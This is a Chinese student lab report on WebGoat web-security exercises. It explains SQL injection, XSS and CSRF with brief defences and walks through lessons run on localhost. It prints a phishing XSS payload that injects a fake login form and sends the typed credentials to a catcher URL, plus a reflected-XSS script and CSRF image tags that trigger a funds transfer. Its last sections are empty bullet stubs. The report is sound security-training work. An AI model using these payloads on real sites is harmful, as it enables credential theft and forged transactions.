20145237 Exp9 Web安全基础实践

基础问题回答

SQL注入攻击原理,如何防御:

部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数据输入区恶意填入脚本,当数据被传回后台,黑客所填入的脚本语句被运行,使得黑客可以随心所欲的对后台熟即可进行操作;
程序员在编写代码的时候,一定要记得对用户输入数据的合法性进行判断。将存有敏感信息的数据库放在防火墙内部;

XSS攻击的原理,如何防御:

XSS的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏;
程序员应该防止下发界面显示html标签,把</>等符号转义。

CSRF攻击原理,如何防御:

即跨站请求伪造(Cross Site Repuest Forgery),是XSS的一个分支。跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com的transferFunds.do页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。

一、打开webgoat

  • (1)输入指令java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar来运行webgoat。

  • (2)在浏览器输入localhost:8080/WebGoat,进入webgoat

    二、XSS攻击

  • (1)Phishing with XSS
    在webgoat找到xss攻击打开Phishing with XSS(第一个),在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,完整的XSS攻击代码如下:

    </form>
    <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
  • (2)点击搜索后会出现登录界面,输入你的用户名和密码,WebGoat会将你输入的信息捕获并反馈给你。

三、Stored XSS Attacks

  • (1)创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容,随意在标题栏输入点东西,然后在message中输入一串代码。

  • (2)提交后,提示成功。

    四、Reflected XSS Attacks

  • (1)反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码,一般容易出现在搜索页面。

  • (2)输入错误用户信息后,服务器校验输入有误。

  • (3)这时如果我们将带有攻击性的URL作为输入源,例如依旧输入<script>alert("20145237 attack succeed!");</script>

    五、Cross Site Request Forgery(CSRF)

  • (1)写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件
  • (2)输入 <img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>

    六、CSRF Prompt By-Pass

  • (1)这个跟之前的类似,首先输入
    <img src="http://localhost:8080/WebGoat/attack?Screen=238&menu=900&transferFunds=500" width="1" height="1">
  • (2)在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=238&menu=900&transferFunds=CONFIRM

    七、Command Injection

  • (1)点击右上角瓢虫图标对源码进行修改,修改后可看到我们修改的内容。

  • (2)点击view,出现网络连接情况。

    七、Numeric SQL Injection

  • (1)
  • ()
  • ()
  • ()
  • ()
  • ()
  • ()
  • ()
  • ()

猜你喜欢

转载自www.cnblogs.com/20145237fhn/p/9106748.html
今日推荐